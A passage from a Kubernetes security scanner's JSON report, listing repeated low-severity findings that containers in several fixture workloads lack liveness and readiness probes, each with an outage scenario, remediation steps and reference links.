      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:DaemonSet:rbac-fixtures:daemon-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `DaemonSet/rbac-fixtures/daemon-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `DaemonSet/rbac-fixtures/daemon-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `DaemonSet/rbac-fixtures/daemon-app`, runs on **every** node (per-node blast radius)"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `DaemonSet/daemon-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:cloud-eks-test:imds-pivot-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/imds-pivot-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:cloud-eks-test:irsa-admin-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/cloud-eks-test/irsa-admin-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/cloud-eks-test/irsa-admin-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "irsa-admin-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/irsa-admin-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/irsa-admin-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:containersec-fixtures:containersec-probes:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/containersec-fixtures/containersec-probes` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-probes` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-probes",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-probes`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/containersec-probes` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:csr-fixtures:csr-mint-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/csr-fixtures/csr-mint-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/csr-fixtures/csr-mint-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-mint-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-mint-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/csr-mint-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:csr-fixtures:csr-sign-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/csr-fixtures/csr-sign-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/csr-fixtures/csr-sign-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "csr-sign-app",
      "namespace": "csr-fixtures",
      "api_group": "apps"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/csr-fixtures/csr-sign-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/csr-sign-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
